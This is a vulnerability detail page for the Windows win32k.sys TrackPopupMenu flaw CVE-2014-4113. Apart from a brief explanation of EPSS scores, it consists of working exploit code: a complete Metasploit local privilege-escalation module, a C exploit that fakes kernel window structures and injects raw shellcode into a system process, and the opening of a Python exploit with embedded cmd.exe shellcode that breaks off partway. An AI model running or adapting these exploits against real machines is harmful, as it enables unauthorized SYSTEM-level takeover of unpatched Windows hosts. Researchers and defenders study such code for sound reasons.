CVE-2014-4113 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', 'Description' => %q{ This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # vulnerability discovery and exploit in the wild 'juan vazquez', # msf module (x86 target) 'Spencer McIntyre', # msf module (x64 target) 'OJ Reeves <oj[at]buffered.io>' ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ # Tested on (32 bits): # * Windows XP SP3 # * Windows 2003 SP2 # * Windows 7 SP1 # * Windows 2008 [ 'Windows x86', { 'Arch' => ARCH_X86 } ], # Tested on (64 bits): # * Windows 7 SP1 # * Windows 2008 R2 SP1 [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2014-4113'], ['OSVDB', '113167'], ['BID', '70364'], ['MSB', 'MS14-058'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] ], 'DisclosureDate' => 'Oct 14 2014', 'DefaultTarget' => 0 })) end def check os = sysinfo["OS"] if os !~ /windows/i return Exploit::CheckCode::Unknown end if sysinfo["Architecture"] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo["Architecture"] =~ /x86/i arch = ARCH_X86 end file_path = expand_path("%windir%") << "\\system32\\win32k.sys" major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") # Neither target suports Windows 8 or 8.1 return Exploit::CheckCode::Safe if build == 9200 return Exploit::CheckCode::Safe if build == 9600 return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build) return Exploit::CheckCode::Unknown end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") if target.arch.first == ARCH_X86 dll_file_name = 'cve-2014-4113.x86.dll' else dll_file_name = 'cve-2014-4113.x64.dll' end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end

#include "hd.h" // EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46945.rar byte __s_code[]={ 0x48 ,0x8B ,0xC4 ,0x48 ,0x89 ,0x58 ,0x08 ,0x48 ,0x89 ,0x68 ,0x20 ,0x56 ,0x57 ,0x41 ,0x56 ,0x48 , 0x81 ,0xEC ,0xE0 ,0x00 ,0x00 ,0x00 ,0x45 ,0x33 ,0xF6 ,0x49 ,0x89 ,0xCB ,0x4C ,0x89 ,0x70 ,0x18 , 0x4C ,0x89 ,0x70 ,0x10 ,0x90 ,0x65 ,0x48 ,0x8B ,0x04 ,0x25 ,0x30 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8B , 0x40 ,0x60 ,0x90 ,0x90 ,0x90 ,0x90 ,0x48 ,0x8B ,0x78 ,0x18 ,0x48 ,0x8B ,0x47 ,0x10 ,0x48 ,0x83 , 0xC7 ,0x10 ,0x48 ,0x3B ,0xC7 ,0x0F ,0x84 ,0x99 ,0x01 ,0x00 ,0x00 ,0x48 ,0xBB ,0x65 ,0x00 ,0x6C , 0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x48 ,0xBE ,0x2E ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x6C ,0x00 ,0x49 , 0xBA ,0x6B ,0x00 ,0x65 ,0x00 ,0x72 ,0x00 ,0x6E ,0x00 ,0x48 ,0xBD ,0x4B ,0x00 ,0x45 ,0x00 ,0x52 , 0x00 ,0x4E ,0x00 ,0x49 ,0xB8 ,0x45 ,0x00 ,0x4C ,0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x49 ,0xB9 ,0x2E , 0x00 ,0x44 ,0x00 ,0x4C ,0x00 ,0x4C ,0x00 ,0x66 ,0x0F ,0x1F ,0x84 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 , 0x66 ,0x83 ,0x78 ,0x58 ,0x18 ,0x48 ,0x8B ,0x48 ,0x60 ,0x72 ,0x25 ,0x48 ,0x8B ,0x11 ,0x49 ,0x3B , 0xD2 ,0x75 ,0x0C ,0x48 ,0x39 ,0x59 ,0x08 ,0x75 ,0x06 ,0x48 ,0x39 ,0x71 ,0x10 ,0x74 ,0x1E ,0x48 , 0x3B ,0xD5 ,0x75 ,0x0C ,0x4C ,0x39 ,0x41 ,0x08 ,0x75 ,0x06 ,0x4C ,0x39 ,0x49 ,0x10 ,0x74 ,0x0D , 0x48 ,0x8B ,0x00 ,0x48 ,0x3B ,0xC7 ,0x75 ,0xC8 ,0xE9 ,0x17 ,0x01 ,0x00 ,0x00 ,0x48 ,0x8B ,0x78 , 0x30 ,0x48 ,0x85 ,0xFF ,0x0F ,0x84 ,0x0A ,0x01 ,0x00 ,0x00 ,0x48 ,0x63 ,0x47 ,0x3C ,0xB9 ,0x4D , 0x5A ,0x00 ,0x00 ,0x66 ,0x39 ,0x0F ,0x0F ,0x85 ,0xF8 ,0x00 ,0x00 ,0x00 ,0x81 ,0x3C ,0x38 ,0x50 , 0x45 ,0x00 ,0x00 ,0x0F ,0x85 ,0xEB ,0x00 ,0x00 ,0x00 ,0x44 ,0x8B ,0x8C ,0x38 ,0x88 ,0x00 ,0x00 , 0x00 ,0x49 ,0x8B ,0xD6 ,0x4C ,0x03 ,0xCF ,0x45 ,0x8B ,0x41 ,0x20 ,0x41 ,0x8B ,0x49 ,0x18 ,0x4C , 0x03 ,0xC7 ,0x48 ,0x85 ,0xC9 ,0x74 ,0x32 ,0x48 ,0xBB ,0x43 ,0x72 ,0x65 ,0x61 ,0x74 ,0x65 ,0x50 , 0x72 ,0x49 ,0xBA ,0x72 ,0x6F ,0x63 ,0x65 ,0x73 ,0x73 ,0x41 ,0x00 ,0x0F ,0x1F ,0x44 ,0x00 ,0x00 , 0x41 ,0x8B ,0x04 ,0x90 ,0x48 ,0x39 ,0x1C ,0x38 ,0x75 ,0x07 ,0x4C ,0x39 ,0x54 ,0x38 ,0x07 ,0x74 , 0x08 ,0x48 ,0xFF ,0xC2 ,0x48 ,0x3B ,0xD1 ,0x72 ,0xE7 ,0x33 ,0xC0 ,0x48 ,0x3B ,0xD1 ,0x0F ,0x83 , 0x92 ,0x00 ,0x00 ,0x00 ,0x41 ,0x8B ,0x49 ,0x24 ,0x45 ,0x33 ,0xC0 ,0x48 ,0x03 ,0xCF ,0x0F ,0xB7 , 0x14 ,0x51 ,0x41 ,0x8B ,0x49 ,0x1C ,0x45 ,0x33 ,0xC9 ,0x48 ,0x03 ,0xCF ,0x44 ,0x8B ,0x14 ,0x91 , 0x48 ,0x89 ,0x44 ,0x24 ,0x58 ,0x48 ,0x89 ,0x44 ,0x24 ,0x60 ,0x4C ,0x03 ,0xD7 ,0x48 ,0x8D ,0x7C , 0x24 ,0x70 ,0xB9 ,0x68 ,0x00 ,0x00 ,0x00 ,0xF3 ,0xAA ,0xB8 ,0x05 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B , 0xD3 ,0x66 ,0x89 ,0x84 ,0x24 ,0xB0 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8D ,0x44 ,0x24 ,0x50 ,0x33 ,0xC9 , 0x48 ,0x89 ,0x44 ,0x24 ,0x48 ,0x48 ,0x8D ,0x44 ,0x24 ,0x70 ,0x4C ,0x89 ,0x74 ,0x24 ,0x50 ,0x48 , 0x89 ,0x44 ,0x24 ,0x40 ,0x4C ,0x89 ,0x74 ,0x24 ,0x38 ,0x4C ,0x89 ,0x74 ,0x24 ,0x30 ,0xC7 ,0x44 , 0x24 ,0x28 ,0x10 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x70 ,0x68 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x84 , 0x24 ,0xAC ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x20 ,0x01 ,0x00 ,0x00 , 0x00 ,0x41 ,0xFF ,0xD2 ,0x33 ,0xC0 ,0x4C ,0x8D ,0x9C ,0x24 ,0xE0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B , 0x5B ,0x20 ,0x49 ,0x8B ,0x6B ,0x38 ,0x49 ,0x8B ,0xE3 ,0x41 ,0x5E ,0x5F ,0x5E ,0xC3 }; HMENU __init_menu( ) { HMENU hMenu_Ret=NULL; MENUITEMINFO mItem={0}; do { HMENU hme=CreatePopupMenu(); if (hme==NULL){ printf("CreatePopupMenu()_1 fail:0x%x\n" ,GetLastError()); break; } mItem.cbSize=sizeof(MENUITEMINFO); mItem.fMask=(MIIM_STRING); bool bisok=InsertMenuItem(hme ,0 ,1 ,&mItem); if (bisok==false){ printf("InsertMenuItem()_1 fail:0x%x\n" ,GetLastError()); break; } hMenu_Ret=CreatePopupMenu(); if (hMenu_Ret==NULL){ printf("CreatePopupMenu()_2 fail:0x%x\n" ,GetLastError()); break; } MENUITEMINFO mi={0}; mi.cbSize=sizeof(mi); mi.fMask=(MIIM_STRING|MIIM_SUBMENU); mi.hSubMenu=hme; mi.dwTypeData=""; mi.cch=1; bisok=InsertMenuItem(hMenu_Ret ,0 ,1 ,&mi); if (bisok==false){ printf("InsertMenuItem()_2 fail: 0x%x\n" ,GetLastError()); } } while (false); return hMenu_Ret; } PVOID __calc_sep_token_addr( ) { NTSTATUS status; PSYSTEM_HANDLE_INFORMATION handleInfo=NULL; ULONGLONG handleInfoSize = 0x10000 ,i ,ret_obj_addr=NULL; do { _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDuplicateObject"); _NtQueryObject NtQueryObject = (_NtQueryObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryObject"); if (!NtQuerySystemInformation || !NtDuplicateObject || !NtQueryObject){ printf("get sys proc failed!\n"); break; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation,handleInfo, handleInfoSize,NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); if (!NT_SUCCESS(status)){ printf("NtQuerySystemInformation failed!\n"); break; } POBJECT_TYPE_INFORMATION objectTypeInfo=(POBJECT_TYPE_INFORMATION)malloc(0x1000); for (i = 0; i < handleInfo->HandleCount; i++) { SYSTEM_HANDLE handle = handleInfo->Handles[i]; if (handle.ProcessId != GetCurrentProcessId()) continue; if (!NT_SUCCESS(NtQueryObject( (HANDLE)handle.Handle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL ))) { printf("[%#x] Error!\n", handle.Handle); continue; } if (objectTypeInfo->Name.Buffer==NULL || objectTypeInfo->Name.Length==0) continue; if (wcscmp(objectTypeInfo->Name.Buffer ,L"Token")) continue; ret_obj_addr=((ULONGLONG)handle.Object+0x40); } if (objectTypeInfo) free(objectTypeInfo); if (handleInfo) free(handleInfo); } while (false); return (PVOID)ret_obj_addr; } ULONGLONG __calc_pid( ) { NTSTATUS status; PSYSTEM_PROCESS_INFORMATION PsInfo=NULL; ULONGLONG PsInfoSize = 0x10000 ,ret_pid=NULL; do { _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation){ printf("get sys proc failed!\n"); break; } PsInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(PsInfoSize); while ((status = NtQuerySystemInformation(SystemProcessesAndThreadsInformation,PsInfo, PsInfoSize ,NULL)) == STATUS_INFO_LENGTH_MISMATCH) PsInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(PsInfo, PsInfoSize*= 2); if (!NT_SUCCESS(status)){ printf("NtQuerySystemInformation failed!\n"); break; } for (;PsInfo->NextEntryDelta ;PsInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONGLONG)PsInfo + PsInfo->NextEntryDelta)) { if (PsInfo->ProcessName.Buffer==NULL || PsInfo->ProcessName.Length==0) continue; if (!wcscmp(PsInfo->ProcessName.Buffer ,L"winlogon.exe")){ ret_pid=PsInfo->InheritedFromProcessId; break; } } } while (false); return ret_pid; } ULONGLONG __init_fake_wnd_pti( ) { ULONGLONG ret_pti=NULL; ULONGLONG dst_proc_addr=NULL; do { ret_pti=(ULONGLONG)malloc(0x500); if (ret_pti==NULL){ printf("malloc fail!\n"); return NULL; } *(ULONGLONG*)(ret_pti+_oft_win32ps_pti)=0; //Win32Process *(DWORD*)(ret_pti+_oft_0420h_pti)=0; //not 0x20 *(ULONGLONG*)(ret_pti+_oft_list_header_pti)=(ULONGLONG)__calc_sep_token_addr()-0x5; //TODO: void* tmpbuf=malloc(0x100); memset(tmpbuf ,0 ,0x100); *(ULONGLONG*)(ret_pti+_oft_0188h_pti)=(ULONGLONG)tmpbuf; //buf addr(size >= 0x12) ,check in win32k!SetWakeBit } while (false); return ret_pti; } bool __init_fake_tagWnd( ) { bool bRet=false; _ZwAllocateVirtualMemory_pt pfn_ZwAllocateVm=NULL; do { HMODULE hmd=LoadLibrary("ntdll.dll"); if (hmd==NULL) break; ULONGLONG fake_tagwnd_pti=__init_fake_wnd_pti(); if (fake_tagwnd_pti==NULL){ printf("__calc_wnd_pti() fail!\n"); break; } pfn_ZwAllocateVm=(_ZwAllocateVirtualMemory_pt)GetProcAddress(hmd ,"ZwAllocateVirtualMemory"); if (pfn_ZwAllocateVm==NULL){ printf("pfn ZwAllocateVirtualMemery addr is NULL!\n"); break; } BYTE* fake_tagWnd_addr=(BYTE*)0xFFFFFFFB; size_t region_size=0x20000; NTSTATUS status=pfn_ZwAllocateVm(GetCurrentProcess() ,(PVOID*)&fake_tagWnd_addr ,0 ,&region_size, MEM_RESERVE | MEM_COMMIT|MEM_TOP_DOWN ,PAGE_EXECUTE_READWRITE); if (status < 0){ printf("Allocate fake tagWnd fail!\n"); break;; } ULONGLONG ul_align=0xFFFFFFFBLL-(ULONGLONG)fake_tagWnd_addr; if (ul_align > 0x10000){ printf("alloc fake fail: %x!\n" ,fake_tagWnd_addr); break; } memset(fake_tagWnd_addr+ul_align ,0 ,0x1000); *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_idx_tagWND)=0x0; *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_pti_tagWnd)=fake_tagwnd_pti; //oft 0x170 == win32process *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_18h_tagWnd)=0x0; //0 ,check in IsWindowDesktopComposed bRet=true; } while (false); return bRet; } LRESULT __stdcall __wh_wnd_proc( int code, WPARAM wparam, LPARAM lparam ) { do { CWPSTRUCT* lpm=(CWPSTRUCT*)lparam; if (lpm->message != MN_FINDWINDOWFROMPOINT || g_bis_mn_findwnded==true) break; g_bis_mn_findwnded=true; UnhookWindowsHook(WH_CALLWNDPROC ,__wh_wnd_proc); g_ori_wnd_proc=(WNDPROC)SetWindowLongPtr(lpm->hwnd ,GWLP_WNDPROC ,(LONG_PTR)__wnd_proc_sl); } while (false); return CallNextHookEx(g_hhk ,code ,wparam ,lparam); } LRESULT __wnd_proc_sl( HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam ) { do { if (umsg != MN_FINDWINDOWFROMPOINT ) break; if (g_bis_endmenu) break; g_bis_endmenu=1; EndMenu(); return 0xFFFFFFFB; } while (false); return CallWindowProc(g_ori_wnd_proc ,hwnd ,umsg ,wparam ,lparam); } LRESULT __stdcall __wnd_proc( HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam ) { if (umsg==WM_ENTERIDLE && g_bis_idled==FALSE) { g_bis_idled=TRUE; PostMessage(hwnd ,WM_KEYFIRST ,0x28 ,0); PostMessage(hwnd ,WM_KEYFIRST ,0X27 ,0); PostMessage(hwnd ,WM_LBUTTONDOWN ,0 ,0xff00ff); } return DefWindowProc(hwnd ,umsg ,wparam ,lparam); } DWORD __stdcall __thread_plroc( void* param ) { bool bisok=false; WNDCLASS wndcls={0}; do { wndcls.lpfnWndProc=__wnd_proc; wndcls.lpszClassName="cve_2014_4113"; RegisterClass(&wndcls); HWND hwnd=CreateWindowEx(0 ,wndcls.lpszClassName ,NULL ,0 ,0 ,0, 200 ,200 ,NULL ,NULL ,NULL ,NULL); if (hwnd==NULL){ printf("CreateWindowEx() fail: 0x%x\n" ,GetLastError()); break; } HMENU hmenu=__init_menu(); if (hmenu==NULL){ printf("__init_menu() fail: 0x%x\n" ,GetLastError()); break; } bool bisok=__init_fake_tagWnd(); if (bisok==false){ printf("__init_fake_tagWnd() fail:0x%x\n" ,GetLastError()); break; } g_hhk=SetWindowsHookEx(WH_CALLWNDPROC ,__wh_wnd_proc ,NULL ,GetCurrentThreadId()); if (g_hhk==NULL){ printf("SetWindowsHookEx() fail:0x%x\n" ,GetLastError()); break; } bisok=TrackPopupMenu(hmenu ,0 ,0x0FFFFD8F0 ,0x0FFFFD8F0 ,0 ,hwnd ,NULL); if (bisok==false){ printf("TrackPopupMenu() fail:0x%x\n" ,GetLastError()); break; } CloseHandle(hmenu); DestroyWindow(hwnd); } while (FALSE); return 0; } int main( int argc ,char** argv ) { bool bisok=false; do { if (argc != 2){ printf("usage: xxx fpath"); break; } HANDLE hProcessToken=NULL ,hRestrictedToken=NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken)) { printf("Could not open process token\n"); break; } if (!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, &hRestrictedToken)){ printf("Could not create restricted token\n"); break; } if (!AdjustTokenPrivileges(hRestrictedToken, TRUE, NULL, 0, NULL, NULL)) { printf("Could not adjust privileges\n"); break; } CloseHandle(hProcessToken); HANDLE hthread=CreateThread(NULL ,0 ,__thread_plroc ,NULL ,0 ,NULL); if (hthread==NULL){ printf("CreateThread() fail: 0x%x\n" ,GetLastError()); break; } WaitForSingleObject(hthread ,1000); TerminateThread(hthread ,0); if (!ImpersonateLoggedOnUser(hRestrictedToken)){ printf("ImpersonateLoggedOnUser failed!\n"); break; } PVOID pfn_cps=GetProcAddress(LoadLibrary("Kernel32.dll") ,"CreateProcessA"); if (pfn_cps==NULL){ printf("GetProcess CreateProcessA failed!\n"); break; } ULONGLONG ul_pid_winlogon=__calc_pid(); if (ul_pid_winlogon==NULL){ printf("__calc_winlogon_pid failed!\n"); break; } HANDLE hprocess=OpenProcess(PROCESS_ALL_ACCESS ,TRUE ,ul_pid_winlogon); if (hprocess==NULL){ printf("OpenProcess failed: %x\n" ,GetLastError()); break; } //init params PVOID params=VirtualAllocEx(hprocess ,NULL ,strlen(argv[1])+10 ,MEM_COMMIT ,PAGE_READWRITE); if (params==NULL){ printf("VirtualAllocEx failed:%x\n" ,GetLastError()); break; } ULONGLONG ul_ret_wrt=0; bisok=WriteProcessMemory(hprocess ,params ,argv[1] ,strlen(argv[1])+2 ,(SIZE_T*)&ul_ret_wrt); if (bisok==false || ul_ret_wrt < strlen(argv[1])+2){ printf("WriteProcessMemory() failed!\n"); break; } //init shellcode PVOID shellcode=VirtualAllocEx(hprocess ,NULL ,0x220 ,MEM_COMMIT ,PAGE_EXECUTE_READWRITE); if (shellcode==NULL){ printf("VirtualAllocEx failed:%x\n" ,GetLastError()); break; } bisok=WriteProcessMemory(hprocess ,shellcode ,__s_code ,sizeof(__s_code) ,(SIZE_T*)&ul_ret_wrt); if (bisok==false || ul_ret_wrt < sizeof(__s_code)){ printf("WriteProcessMemory() failed!\n"); break; } DWORD dw_tid=0; HANDLE htd_rmt=CreateRemoteThread(hprocess ,NULL ,0 ,(LPTHREAD_START_ROUTINE )shellcode ,params ,0 ,&dw_tid); if (htd_rmt==NULL){ printf("CreateRemoteThread() fail!\n"); break; } //clear CloseHandle(htd_rmt); CloseHandle(hprocess); CloseHandle(hRestrictedToken); } while (false); return 0; }

Sources: https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-lab-exploiting-cve-2014-4113.pdf https://github.com/sam-b/CVE-2014-4113 EDB Mirror: https://www.exploit-db.com/docs/english/39665-windows-kernel-exploitation-101-exploiting-cve-2014-4113.pdf Trigger and exploit code for CVE-2014-4113: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39666.zip

# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058) # CVE-2014-4113 Privilege Escalation # http://www.offensive-security.com # Thx to Moritz Jodeit for the beautiful writeup # http://www.exploit-db.com/docs/35152.pdf # Target OS Windows 8.0 - 8.1 x64 # Author: Matteo Memelli ryujin <at> offensive-security.com # EDB Note: Swapping the shellcode for a bind or reverse shell will BSOD the machine. from ctypes import * from ctypes.wintypes import * import struct, sys, os, time, threading, signal ULONG_PTR = PVOID = LPVOID HCURSOR = HICON PDWORD = POINTER(DWORD) PQWORD = POINTER(LPVOID) LRESULT = LPVOID UCHAR = c_ubyte QWORD = c_ulonglong CHAR = c_char NTSTATUS = DWORD MIIM_STRING = 0x00000040 MIIM_SUBMENU = 0x00000004 WH_CALLWNDPROC = 0x4 GWLP_WNDPROC = -0x4 NULL = 0x0 SystemExtendedHandleInformation = 64 ObjectDataInformation = 2 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_BUFFER_OVERFLOW = 0x80000005L STATUS_INVALID_HANDLE = 0xC0000008L STATUS_BUFFER_TOO_SMALL = 0xC0000023L STATUS_SUCCESS = 0 TOKEN_ALL_ACCESS = 0xf00ff DISABLE_MAX_PRIVILEGE = 0x1 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) TH32CS_SNAPPROCESS = 0x02 WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM) WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM) WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM) bWndProcFlag = False bHookCallbackFlag = False EXPLOITED = False Hmenu01 = Hmenu02 = None # /* # * windows/x64/exec - 275 bytes # * http://www.metasploit.com # * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, # * CMD=cmd.exe # */ SHELLCODE = ( "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" "\x2e\x65\x78\x65\x00") class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", PVOID), ("UniqueProcessId", PVOID), ("HandleValue", PVOID), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", PVOID), ("Reserved", PVOID), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class MENUITEMINFO(Structure): """Contains information about a menu item.""" _fields_ = [ ("cbSize" , UINT), ("fMask" , UINT), ("fType" , UINT), ("fState" , UINT), ("wID" , UINT), ("hSubMenu" , HMENU), ("hbmpChecked" , HBITMAP), ("hbmpUnchecked", HBITMAP), ("dwItemData" , ULONG_PTR), ("dwTypeData" , LPWSTR), ("cch" , UINT), ("hbmpItem" , HBITMAP), ] class WNDCLASS(Structure): """Contains the window class attributes that are registered by the RegisterClass function.""" _fields_ = [ ("style" , UINT), ("lpfnWndProc" , WNDPROC), ("cbClsExtra" , INT), ("cbWndExtra" , INT), ("hInstance" , HINSTANCE), ("hIcon" , HCURSOR), ("hCursor" , HBITMAP), ("hbrBackground", HBRUSH), ("lpszMenuName" , LPWSTR), ("lpszClassName", LPWSTR), ] class PROCESSENTRY32(Structure): """Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.""" _fields_ = [ ( 'dwSize' , DWORD ) , ( 'cntUsage' , DWORD) , ( 'th32ProcessID' , DWORD) , ( 'th32DefaultHeapID' , POINTER(ULONG)) , ( 'th32ModuleID' , DWORD) , ( 'cntThreads' , DWORD) , ( 'th32ParentProcessID' , DWORD) , ( 'pcPriClassBase' , LONG) , ( 'dwFlags' , DWORD) , ( 'szExeFile' , CHAR * MAX_PATH ) ] user32 = windll.user32 kernel32 = windll.kernel32 ntdll = windll.ntdll advapi32 = windll.advapi32 user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM] 